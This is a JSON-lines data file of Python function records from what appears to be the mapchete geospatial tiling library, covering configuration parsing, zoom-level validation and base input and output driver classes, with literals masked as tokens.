{"signature": "def clip_bounds(bounds=None, clip=None):", "body": "bounds = Bounds(*bounds)<EOL>clip = Bounds(*clip)<EOL>return Bounds(<EOL>max(bounds.left, clip.left),<EOL>max(bounds.bottom, clip.bottom),<EOL>min(bounds.right, clip.right),<EOL>min(bounds.top, clip.top)<EOL>)<EOL>", "docstring": "Clips bounds by clip.\n\nParameters\n----------\nbounds : bounds to be clipped\nclip : clip bounds\n\nReturns\n-------\nBounds(left, bottom, right, top)", "id": "f12805:m4"}
{"signature": "def raw_conf(mapchete_file):", "body": "return _map_to_new_config(yaml.load(open(mapchete_file, \"<STR_LIT:r>\").read()))<EOL>", "docstring": "Loads a mapchete_file into a dictionary.\n\nParameters\n----------\nmapchete_file : str\n    Path to a Mapchete file.\n\nReturns\n-------\ndictionary", "id": "f12805:m5"}
{"signature": "def raw_conf_process_pyramid(raw_conf):", "body": "return BufferedTilePyramid(<EOL>raw_conf[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>metatiling=raw_conf[\"<STR_LIT>\"].get(\"<STR_LIT>\", <NUM_LIT:1>),<EOL>pixelbuffer=raw_conf[\"<STR_LIT>\"].get(\"<STR_LIT>\", <NUM_LIT:0>)<EOL>)<EOL>", "docstring": "Loads the process pyramid of a raw configuration.\n\nParameters\n----------\nraw_conf : dict\n    Raw mapchete configuration as dictionary.\n\nReturns\n-------\nBufferedTilePyramid", "id": "f12805:m6"}
{"signature": "def bounds_from_opts(<EOL>wkt_geometry=None, point=None, bounds=None, zoom=None, raw_conf=None<EOL>):", "body": "if wkt_geometry:<EOL><INDENT>return wkt.loads(wkt_geometry).bounds<EOL><DEDENT>elif point:<EOL><INDENT>x, y = point<EOL>zoom_levels = get_zoom_levels(<EOL>process_zoom_levels=raw_conf[\"<STR_LIT>\"],<EOL>init_zoom_levels=zoom<EOL>)<EOL>tp = raw_conf_process_pyramid(raw_conf)<EOL>return tp.tile_from_xy(x, y, max(zoom_levels)).bounds<EOL><DEDENT>else:<EOL><INDENT>return bounds<EOL><DEDENT>", "docstring": "Loads the process pyramid of a raw configuration.\n\nParameters\n----------\nraw_conf : dict\n    Raw mapchete configuration as dictionary.\n\nReturns\n-------\nBufferedTilePyramid", "id": "f12805:m7"}
{"signature": "def _validate_zooms(zooms):", "body": "if isinstance(zooms, dict):<EOL><INDENT>if any([a not in zooms for a in [\"<STR_LIT>\", \"<STR_LIT>\"]]):<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\")<EOL><DEDENT>zmin = _validate_zoom(zooms[\"<STR_LIT>\"])<EOL>zmax = _validate_zoom(zooms[\"<STR_LIT>\"])<EOL>if zmin > zmax:<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return list(range(zmin, zmax + <NUM_LIT:1>))<EOL><DEDENT>elif isinstance(zooms, list):<EOL><INDENT>if len(zooms) == <NUM_LIT:1>:<EOL><INDENT>return zooms<EOL><DEDENT>elif len(zooms) == <NUM_LIT:2>:<EOL><INDENT>zmin, zmax = sorted([_validate_zoom(z) for z in zooms])<EOL>return list(range(zmin, zmax + <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>return zooms<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return [_validate_zoom(zooms)]<EOL><DEDENT>", "docstring": "Return a list of zoom levels.\n\nFollowing inputs are converted:\n- int --> [int]\n- dict{min, max} --> range(min, max + 1)\n- [int] --> [int]\n- [int, int] --> range(smaller int, bigger int + 1)", "id": "f12805:m10"}
{"signature": "def _validate_zoom(zoom):", "body": "if any([not isinstance(zoom, int), zoom < <NUM_LIT:0>]):<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\")<EOL><DEDENT>return zoom<EOL>", "docstring": "Assert zoom value is positive integer.", "id": "f12805:m11"}
{"signature": "def _raw_at_zoom(config, zooms):", "body": "params_per_zoom = {}<EOL>for zoom in zooms:<EOL><INDENT>params = {}<EOL>for name, element in config.items():<EOL><INDENT>if name not in _RESERVED_PARAMETERS:<EOL><INDENT>out_element = _element_at_zoom(name, element, zoom)<EOL>if out_element is not None:<EOL><INDENT>params[name] = out_element<EOL><DEDENT><DEDENT><DEDENT>params_per_zoom[zoom] = params<EOL><DEDENT>return params_per_zoom<EOL>", "docstring": "Return parameter dictionary per zoom level.", "id": "f12805:m13"}
{"signature": "def _element_at_zoom(name, element, zoom):", "body": "<EOL>if isinstance(element, dict):<EOL><INDENT>if \"<STR_LIT>\" in element:<EOL><INDENT>return element<EOL><DEDENT>out_elements = {}<EOL>for sub_name, sub_element in element.items():<EOL><INDENT>out_element = _element_at_zoom(sub_name, sub_element, zoom)<EOL>if name == \"<STR_LIT:input>\":<EOL><INDENT>out_elements[sub_name] = out_element<EOL><DEDENT>elif out_element is not None:<EOL><INDENT>out_elements[sub_name] = out_element<EOL><DEDENT><DEDENT>if len(out_elements) == <NUM_LIT:1> and name != \"<STR_LIT:input>\":<EOL><INDENT>return next(iter(out_elements.values()))<EOL><DEDENT>if len(out_elements) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return out_elements<EOL><DEDENT>elif isinstance(name, str):<EOL><INDENT>if name.startswith(\"<STR_LIT>\"):<EOL><INDENT>return _filter_by_zoom(<EOL>conf_string=name.strip(\"<STR_LIT>\").strip(), zoom=zoom,<EOL>element=element)<EOL><DEDENT>else:<EOL><INDENT>return element<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return element<EOL><DEDENT>", "docstring": "Return the element filtered by zoom level.\n\n- An input integer or float gets returned as is.\n- An input string is checked whether it starts with \"zoom\". Then, the\n  provided zoom level gets parsed and compared with the actual zoom\n  level. If zoom levels match, the element gets returned.\nTODOs/gotchas:\n- Elements are unordered, which can lead to unexpected results when\n  defining the YAML config.\n- Provided zoom levels for one element in config file are not allowed\n  to \"overlap\", i.e. there is not yet a decision mechanism implemented\n  which handles this case.", "id": "f12805:m14"}
{"signature": "def _filter_by_zoom(element=None, conf_string=None, zoom=None):", "body": "for op_str, op_func in [<EOL>(\"<STR_LIT:=>\", operator.eq),<EOL>(\"<STR_LIT>\", operator.le),<EOL>(\"<STR_LIT>\", operator.ge),<EOL>(\"<STR_LIT:<>\", operator.lt),<EOL>(\"<STR_LIT:>>\", operator.gt),<EOL>]:<EOL><INDENT>if conf_string.startswith(op_str):<EOL><INDENT>return element if op_func(zoom, _strip_zoom(conf_string, op_str)) else None<EOL><DEDENT><DEDENT>", "docstring": "Return element only if zoom condition matches with config string.", "id": "f12805:m15"}
{"signature": "def _strip_zoom(input_string, strip_string):", "body": "try:<EOL><INDENT>return int(input_string.strip(strip_string))<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Return zoom level as integer or throw error.", "id": "f12805:m16"}
{"signature": "def _flatten_tree(tree, old_path=None):", "body": "flat_tree = []<EOL>for key, value in tree.items():<EOL><INDENT>new_path = \"<STR_LIT:/>\".join([old_path, key]) if old_path else key<EOL>if isinstance(value, dict) and \"<STR_LIT>\" not in value:<EOL><INDENT>flat_tree.extend(_flatten_tree(value, old_path=new_path))<EOL><DEDENT>else:<EOL><INDENT>flat_tree.append((new_path, value))<EOL><DEDENT><DEDENT>return flat_tree<EOL>", "docstring": "Flatten dict tree into dictionary where keys are paths of old dict.", "id": "f12805:m17"}
{"signature": "def _unflatten_tree(flat):", "body": "tree = {}<EOL>for key, value in flat.items():<EOL><INDENT>path = key.split(\"<STR_LIT:/>\")<EOL>if len(path) == <NUM_LIT:1>:<EOL><INDENT>tree[key] = value<EOL><DEDENT>else:<EOL><INDENT>if not path[<NUM_LIT:0>] in tree:<EOL><INDENT>tree[path[<NUM_LIT:0>]] = _unflatten_tree({\"<STR_LIT:/>\".join(path[<NUM_LIT:1>:]): value})<EOL><DEDENT>else:<EOL><INDENT>branch = _unflatten_tree({\"<STR_LIT:/>\".join(path[<NUM_LIT:1>:]): value})<EOL>if not path[<NUM_LIT:1>] in tree[path[<NUM_LIT:0>]]:<EOL><INDENT>tree[path[<NUM_LIT:0>]][path[<NUM_LIT:1>]] = branch[path[<NUM_LIT:1>]]<EOL><DEDENT>else:<EOL><INDENT>tree[path[<NUM_LIT:0>]][path[<NUM_LIT:1>]].update(branch[path[<NUM_LIT:1>]])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return tree<EOL>", "docstring": "Reverse tree flattening.", "id": "f12805:m18"}
{"signature": "def __init__(<EOL>self, input_config, zoom=None, bounds=None, single_input_file=None,<EOL>mode=\"<STR_LIT>\", debug=False<EOL>):", "body": "<EOL>self._raw = _map_to_new_config(_config_to_dict(input_config))<EOL>self._raw[\"<STR_LIT>\"] = zoom<EOL>self._raw[\"<STR_LIT>\"] = bounds<EOL>self._cache_area_at_zoom = {}<EOL>self._cache_full_process_area = None<EOL>try:<EOL><INDENT>validate_values(self._raw, _MANDATORY_PARAMETERS)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise MapcheteConfigError(e)<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>self.config_dir = self._raw[\"<STR_LIT>\"]<EOL>self.process_name = self._raw[\"<STR_LIT>\"]<EOL>self.process_func<EOL>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>process_metatiling = self._raw[\"<STR_LIT>\"].get(\"<STR_LIT>\", <NUM_LIT:1>)<EOL>output_metatiling = self._raw[\"<STR_LIT>\"].get(<EOL>\"<STR_LIT>\", process_metatiling)<EOL>if output_metatiling > process_metatiling:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.process_pyramid = BufferedTilePyramid(<EOL>self._raw[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>metatiling=process_metatiling,<EOL>pixelbuffer=self._raw[\"<STR_LIT>\"].get(\"<STR_LIT>\", <NUM_LIT:0>))<EOL>self.output_pyramid = BufferedTilePyramid(<EOL>self._raw[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>metatiling=output_metatiling,<EOL>pixelbuffer=self._raw[\"<STR_LIT>\"].get(\"<STR_LIT>\", <NUM_LIT:0>))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(e)<EOL>raise MapcheteConfigError(e)<EOL><DEDENT>if mode not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\" % mode)<EOL><DEDENT>self.mode = mode<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._params_at_zoom = _raw_at_zoom(self._raw, self.init_zoom_levels)<EOL>logger.debug(\"<STR_LIT>\")<EOL>self.output<EOL>logger.debug(\"<STR_LIT>\")<EOL>self.input<EOL>", "docstring": "Initialize configuration.", "id": "f12805:c0:m0"}
{"signature": "@cached_property<EOL><INDENT>def zoom_levels(self):<DEDENT>", "body": "return _validate_zooms(self._raw[\"<STR_LIT>\"])<EOL>", "docstring": "Process zoom levels as defined in the configuration.", "id": "f12805:c0:m1"}
{"signature": "@cached_property<EOL><INDENT>def init_zoom_levels(self):<DEDENT>", "body": "return get_zoom_levels(<EOL>process_zoom_levels=self._raw[\"<STR_LIT>\"],<EOL>init_zoom_levels=self._raw[\"<STR_LIT>\"]<EOL>)<EOL>", "docstring": "Zoom levels this process is currently initialized with.\n\nThis gets triggered by using the ``zoom`` kwarg. If not set, it will\nbe equal to self.zoom_levels.", "id": "f12805:c0:m2"}
{"signature": "@cached_property<EOL><INDENT>def bounds(self):<DEDENT>", "body": "if self._raw[\"<STR_LIT>\"] is None:<EOL><INDENT>return self.process_pyramid.bounds<EOL><DEDENT>else:<EOL><INDENT>return Bounds(*_validate_bounds(self._raw[\"<STR_LIT>\"]))<EOL><DEDENT>", "docstring": "Process bounds as defined in the configuration.", "id": "f12805:c0:m3"}
{"signature": "@cached_property<EOL><INDENT>def init_bounds(self):<DEDENT>", "body": "if self._raw[\"<STR_LIT>\"] is None:<EOL><INDENT>return self.bounds<EOL><DEDENT>else:<EOL><INDENT>return Bounds(*_validate_bounds(self._raw[\"<STR_LIT>\"]))<EOL><DEDENT>", "docstring": "Process bounds this process is currently initialized with.\n\nThis gets triggered by using the ``init_bounds`` kwarg. If not set, it will\nbe equal to self.bounds.", "id": "f12805:c0:m4"}
{"signature": "@cached_property<EOL><INDENT>def effective_bounds(self):<DEDENT>", "body": "return snap_bounds(<EOL>bounds=clip_bounds(bounds=self.init_bounds, clip=self.process_pyramid.bounds),<EOL>pyramid=self.process_pyramid,<EOL>zoom=min(<EOL>self.baselevels[\"<STR_LIT>\"]<EOL>) if self.baselevels else min(<EOL>self.init_zoom_levels<EOL>)<EOL>)<EOL>", "docstring": "Effective process bounds required to initialize inputs.\n\nProcess bounds sometimes have to be larger, because all intersecting process\ntiles have to be covered as well.", "id": "f12805:c0:m5"}
{"signature": "@cached_property<EOL><INDENT>def output(self):<DEDENT>", "body": "output_params = dict(<EOL>self._raw[\"<STR_LIT>\"],<EOL>grid=self.output_pyramid.grid,<EOL>pixelbuffer=self.output_pyramid.pixelbuffer,<EOL>metatiling=self.output_pyramid.metatiling<EOL>)<EOL>if \"<STR_LIT:path>\" in output_params:<EOL><INDENT>output_params.update(<EOL>path=absolute_path(path=output_params[\"<STR_LIT:path>\"], base_dir=self.config_dir)<EOL>)<EOL><DEDENT>if \"<STR_LIT>\" not in output_params:<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\")<EOL><DEDENT>if output_params[\"<STR_LIT>\"] not in available_output_formats():<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\" % (<EOL>output_params[\"<STR_LIT>\"], str(available_output_formats())<EOL>)<EOL>)<EOL><DEDENT>writer = load_output_writer(output_params)<EOL>try:<EOL><INDENT>writer.is_valid_with_config(output_params)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(e)<EOL>raise MapcheteConfigError(<EOL>\"<STR_LIT>\" % (<EOL>writer.METADATA[\"<STR_LIT>\"], e<EOL>)<EOL>)<EOL><DEDENT>return writer<EOL>", "docstring": "Output object of driver.", "id": "f12805:c0:m6"}
{"signature": "@cached_property<EOL><INDENT>def input(self):<DEDENT>", "body": "<EOL>delimiters = dict(<EOL>zoom=self.init_zoom_levels,<EOL>bounds=self.init_bounds,<EOL>process_bounds=self.bounds,<EOL>effective_bounds=self.effective_bounds<EOL>)<EOL>raw_inputs = {<EOL>get_hash(v): v<EOL>for zoom in self.init_zoom_levels<EOL>if \"<STR_LIT:input>\" in self._params_at_zoom[zoom]<EOL>for key, v in _flatten_tree(self._params_at_zoom[zoom][\"<STR_LIT:input>\"])<EOL>if v is not None<EOL>}<EOL>initalized_inputs = {}<EOL>for k, v in raw_inputs.items():<EOL><INDENT>if isinstance(v, str):<EOL><INDENT>logger.debug(\"<STR_LIT>\",  v)<EOL>try:<EOL><INDENT>reader = load_input_reader(<EOL>dict(<EOL>path=absolute_path(path=v, base_dir=self.config_dir),<EOL>pyramid=self.process_pyramid,<EOL>pixelbuffer=self.process_pyramid.pixelbuffer,<EOL>delimiters=delimiters<EOL>),<EOL>readonly=self.mode == \"<STR_LIT>\")<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(e)<EOL>raise MapcheteDriverError(\"<STR_LIT>\" % (v, e))<EOL><DEDENT>logger.debug(\"<STR_LIT>\", v, reader)<EOL><DEDENT>elif isinstance(v, dict):<EOL><INDENT>logger.debug(\"<STR_LIT>\", v)<EOL>try:<EOL><INDENT>reader = load_input_reader(<EOL>dict(<EOL>abstract=deepcopy(v),<EOL>pyramid=self.process_pyramid,<EOL>pixelbuffer=self.process_pyramid.pixelbuffer,<EOL>delimiters=delimiters,<EOL>conf_dir=self.config_dir<EOL>),<EOL>readonly=self.mode == \"<STR_LIT>\")<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(e)<EOL>raise MapcheteDriverError(\"<STR_LIT>\" % (v, e))<EOL><DEDENT>logger.debug(\"<STR_LIT>\", v, reader)<EOL><DEDENT>else:<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\", type(v))<EOL><DEDENT>reader.bbox(out_crs=self.process_pyramid.crs)<EOL>initalized_inputs[k] = reader<EOL><DEDENT>return initalized_inputs<EOL>", "docstring": "Input items used for process stored in a dictionary.\n\nKeys are the hashes of the input parameters, values the respective\nInputData classes.", "id": "f12805:c0:m7"}
{"signature": "@cached_property<EOL><INDENT>def baselevels(self):<DEDENT>", "body": "if \"<STR_LIT>\" not in self._raw:<EOL><INDENT>return {}<EOL><DEDENT>baselevels = self._raw[\"<STR_LIT>\"]<EOL>minmax = {k: v for k, v in baselevels.items() if k in [\"<STR_LIT>\", \"<STR_LIT>\"]}<EOL>if not minmax:<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\")<EOL><DEDENT>for v in minmax.values():<EOL><INDENT>if not isinstance(v, int) or v < <NUM_LIT:0>:<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\" % minmax.values()<EOL>)<EOL><DEDENT><DEDENT>zooms = list(range(<EOL>minmax.get(\"<STR_LIT>\", min(self.zoom_levels)),<EOL>minmax.get(\"<STR_LIT>\", max(self.zoom_levels)) + <NUM_LIT:1>)<EOL>)<EOL>if not set(self.zoom_levels).difference(set(zooms)):<EOL><INDENT>raise MapcheteConfigError(\"<STR_LIT>\")<EOL><DEDENT>return dict(<EOL>zooms=zooms,<EOL>lower=baselevels.get(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>higher=baselevels.get(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>tile_pyramid=BufferedTilePyramid(<EOL>self.output_pyramid.grid,<EOL>pixelbuffer=self.output_pyramid.pixelbuffer,<EOL>metatiling=self.process_pyramid.metatiling<EOL>)<EOL>)<EOL>", "docstring": "Optional baselevels configuration.\n\nbaselevels:\n    min: <zoom>\n    max: <zoom>\n    lower: <resampling method>\n    higher: <resampling method>", "id": "f12805:c0:m8"}
{"signature": "def params_at_zoom(self, zoom):", "body": "if zoom not in self.init_zoom_levels:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>out = dict(self._params_at_zoom[zoom], input={}, output=self.output)<EOL>if \"<STR_LIT:input>\" in self._params_at_zoom[zoom]:<EOL><INDENT>flat_inputs = {}<EOL>for k, v in _flatten_tree(self._params_at_zoom[zoom][\"<STR_LIT:input>\"]):<EOL><INDENT>if v is None:<EOL><INDENT>flat_inputs[k] = None<EOL><DEDENT>else:<EOL><INDENT>flat_inputs[k] = self.input[get_hash(v)]<EOL><DEDENT><DEDENT>out[\"<STR_LIT:input>\"] = _unflatten_tree(flat_inputs)<EOL><DEDENT>else:<EOL><INDENT>out[\"<STR_LIT:input>\"] = {}<EOL><DEDENT>return out<EOL>", "docstring": "Return configuration parameters snapshot for zoom as dictionary.\n\nParameters\n----------\nzoom : int\n    zoom level\n\nReturns\n-------\nconfiguration snapshot : dictionary\nzoom level dependent process configuration", "id": "f12805:c0:m10"}
{"signature": "def area_at_zoom(self, zoom=None):", "body": "if zoom is None:<EOL><INDENT>if not self._cache_full_process_area:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._cache_full_process_area = cascaded_union([<EOL>self._area_at_zoom(z) for z in self.init_zoom_levels]<EOL>).buffer(<NUM_LIT:0>)<EOL><DEDENT>return self._cache_full_process_area<EOL><DEDENT>else:<EOL><INDENT>if zoom not in self.init_zoom_levels:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return self._area_at_zoom(zoom)<EOL><DEDENT>", "docstring": "Return process bounding box for zoom level.\n\nParameters\n----------\nzoom : int or None\n    if None, the union of all zoom level areas is returned\n\nReturns\n-------\nprocess area : shapely geometry", "id": "f12805:c0:m11"}
{"signature": "def bounds_at_zoom(self, zoom=None):", "body": "return () if self.area_at_zoom(zoom).is_empty else Bounds(<EOL>*self.area_at_zoom(zoom).bounds)<EOL>", "docstring": "Return process bounds for zoom level.\n\nParameters\n----------\nzoom : integer or list\n\nReturns\n-------\nprocess bounds : tuple\n    left, bottom, right, top", "id": "f12805:c0:m13"}
{"signature": "@cached_property<EOL><INDENT>def crs(self):<DEDENT>", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return self.process_pyramid.crs<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m14"}
{"signature": "@cached_property<EOL><INDENT>def metatiling(self):<DEDENT>", "body": "warnings.warn(<EOL>DeprecationWarning(\"<STR_LIT>\")<EOL>)<EOL>return self.process_pyramid.metatiling<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m15"}
{"signature": "@cached_property<EOL><INDENT>def pixelbuffer(self):<DEDENT>", "body": "warnings.warn(<EOL>DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL>return self.process_pyramid.pixelbuffer<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m16"}
{"signature": "@cached_property<EOL><INDENT>def inputs(self):<DEDENT>", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return self.input<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m17"}
{"signature": "@cached_property<EOL><INDENT>def process_file(self):<DEDENT>", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return os.path.join(self._raw[\"<STR_LIT>\"], self._raw[\"<STR_LIT>\"])<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m18"}
{"signature": "def at_zoom(self, zoom):", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return self.params_at_zoom(zoom)<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m19"}
{"signature": "def process_area(self, zoom=None):", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return self.area_at_zoom(zoom)<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m20"}
{"signature": "def process_bounds(self, zoom=None):", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return self.bounds_at_zoom(zoom)<EOL>", "docstring": "Deprecated.", "id": "f12805:c0:m21"}
{"signature": "def __init__(self, input_params, **kwargs):", "body": "self.pyramid = input_params[\"<STR_LIT>\"]<EOL>self.pixelbuffer = input_params[\"<STR_LIT>\"]<EOL>self.crs = self.pyramid.crs<EOL>", "docstring": "Initialize relevant input information.", "id": "f12806:c0:m0"}
{"signature": "def open(self, tile, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Return InputTile object.\n\nParameters\n----------\ntile : ``Tile``\n\nReturns\n-------\ninput tile : ``InputTile``\n    tile view of input data", "id": "f12806:c0:m1"}
{"signature": "def bbox(self, out_crs=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Return data bounding box.\n\nParameters\n----------\nout_crs : ``rasterio.crs.CRS``\n    rasterio CRS object (default: CRS of process pyramid)\n\nReturns\n-------\nbounding box : geometry\n    Shapely geometry object", "id": "f12806:c0:m2"}
{"signature": "def exists(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Check if data or file even exists.\n\nReturns\n-------\nfile exists : bool", "id": "f12806:c0:m3"}
{"signature": "def cleanup(self):", "body": "pass<EOL>", "docstring": "Optional cleanup function called when Mapchete exits.", "id": "f12806:c0:m4"}
{"signature": "def __init__(self, tile, **kwargs):", "body": "", "docstring": "Initialize.", "id": "f12806:c1:m0"}
{"signature": "def read(self, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Read reprojected & resampled input data.\n\nReturns\n-------\ndata : array or list\n    NumPy array for raster data or feature list for vector data", "id": "f12806:c1:m1"}
{"signature": "def is_empty(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Check if there is data within this tile.\n\nReturns\n-------\nis empty : bool", "id": "f12806:c1:m2"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Required for 'with' statement.", "id": "f12806:c1:m3"}
{"signature": "def __exit__(self, t, v, tb):", "body": "pass<EOL>", "docstring": "Clean up.", "id": "f12806:c1:m4"}
{"signature": "def __init__(self, output_params, readonly=False):", "body": "self.pixelbuffer = output_params[\"<STR_LIT>\"]<EOL>if \"<STR_LIT:type>\" in output_params:<EOL><INDENT>warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>if \"<STR_LIT>\" not in output_params:<EOL><INDENT>output_params[\"<STR_LIT>\"] = output_params.pop(\"<STR_LIT:type>\")<EOL><DEDENT><DEDENT>self.pyramid = TilePyramid(<EOL>grid=output_params[\"<STR_LIT>\"],<EOL>metatiling=output_params[\"<STR_LIT>\"]<EOL>)<EOL>self.crs = self.pyramid.crs<EOL>self._bucket = None<EOL>if not readonly:<EOL><INDENT>write_output_metadata(output_params)<EOL><DEDENT>", "docstring": "Initialize.", "id": "f12806:c2:m0"}
{"signature": "def read(self, output_tile):", "body": "raise NotImplementedError<EOL>", "docstring": "Read existing process output.\n\nParameters\n----------\noutput_tile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\nprocess output : array or list", "id": "f12806:c2:m1"}
{"signature": "def write(self, process_tile, data):", "body": "raise NotImplementedError<EOL>", "docstring": "Write data from one or more process tiles.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``", "id": "f12806:c2:m2"}
{"signature": "def tiles_exist(self, process_tile=None, output_tile=None):", "body": "if process_tile and output_tile:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if process_tile:<EOL><INDENT>return any(<EOL>path_exists(self.get_path(tile))<EOL>for tile in self.pyramid.intersecting(process_tile)<EOL>)<EOL><DEDENT>if output_tile:<EOL><INDENT>return path_exists(self.get_path(output_tile))<EOL><DEDENT>", "docstring": "Check whether output tiles of a tile (either process or output) exists.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\noutput_tile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\nexists : bool", "id": "f12806:c2:m3"}
{"signature": "def is_valid_with_config(self, config):", "body": "raise NotImplementedError<EOL>", "docstring": "Check if output format is valid with other process parameters.\n\nParameters\n----------\nconfig : dictionary\n    output configuration parameters\n\nReturns\n-------\nis_valid : bool", "id": "f12806:c2:m4"}
{"signature": "def get_path(self, tile):", "body": "return os.path.join(*[<EOL>self.path,<EOL>str(tile.zoom),<EOL>str(tile.row),<EOL>str(tile.col) + self.file_extension<EOL>])<EOL>", "docstring": "Determine target file path.\n\nParameters\n----------\ntile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\npath : string", "id": "f12806:c2:m5"}
{"signature": "def prepare_path(self, tile):", "body": "makedirs(os.path.dirname(self.get_path(tile)))<EOL>", "docstring": "Create directory and subdirectory if necessary.\n\nParameters\n----------\ntile : ``BufferedTile``\n    must be member of output ``TilePyramid``", "id": "f12806:c2:m6"}
{"signature": "def for_web(self, data):", "body": "raise NotImplementedError<EOL>", "docstring": "Convert data to web output (raster only).\n\nParameters\n----------\ndata : array\n\nReturns\n-------\nweb data : array", "id": "f12806:c2:m7"}
{"signature": "def empty(self, process_tile):", "body": "raise NotImplementedError<EOL>", "docstring": "Return empty data.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\n\nReturns\n-------\nempty data : array or list\n    empty array with correct data type for raster data or empty list\n    for vector data", "id": "f12806:c2:m8"}
{"signature": "def output_is_valid(self, process_data):", "body": "if self.METADATA[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return (<EOL>is_numpy_or_masked_array(process_data) or<EOL>is_numpy_or_masked_array_with_tags(process_data)<EOL>)<EOL><DEDENT>elif self.METADATA[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return is_feature_list(process_data)<EOL><DEDENT>", "docstring": "Check whether process output is allowed with output driver.\n\nParameters\n----------\nprocess_data : raw process output\n\nReturns\n-------\nTrue or False", "id": "f12806:c2:m9"}
{"signature": "def output_cleaned(self, process_data):", "body": "if self.METADATA[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>if is_numpy_or_masked_array(process_data):<EOL><INDENT>return process_data<EOL><DEDENT>elif is_numpy_or_masked_array_with_tags(process_data):<EOL><INDENT>data, tags = process_data<EOL>return self.output_cleaned(data), tags<EOL><DEDENT><DEDENT>elif self.METADATA[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return list(process_data)<EOL><DEDENT>", "docstring": "Return verified and cleaned output.\n\nParameters\n----------\nprocess_data : raw process output\n\nReturns\n-------\nNumPy array or list of features.", "id": "f12806:c2:m10"}
{"signature": "def extract_subset(self, input_data_tiles=None, out_tile=None):", "body": "if self.METADATA[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>mosaic = create_mosaic(input_data_tiles)<EOL>return extract_from_array(<EOL>in_raster=prepare_array(<EOL>mosaic.data,<EOL>nodata=self.nodata,<EOL>dtype=self.output_params[\"<STR_LIT>\"]<EOL>),<EOL>in_affine=mosaic.affine,<EOL>out_tile=out_tile<EOL>)<EOL><DEDENT>elif self.METADATA[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return [<EOL>feature for feature in list(<EOL>chain.from_iterable([features for _, features in input_data_tiles])<EOL>)<EOL>if shape(feature[\"<STR_LIT>\"]).intersects(out_tile.bbox)<EOL>]<EOL><DEDENT>", "docstring": "Extract subset from multiple tiles.\n\ninput_data_tiles : list of (``Tile``, process data) tuples\nout_tile : ``Tile``\n\nReturns\n-------\nNumPy array or list of features.", "id": "f12806:c2:m11"}
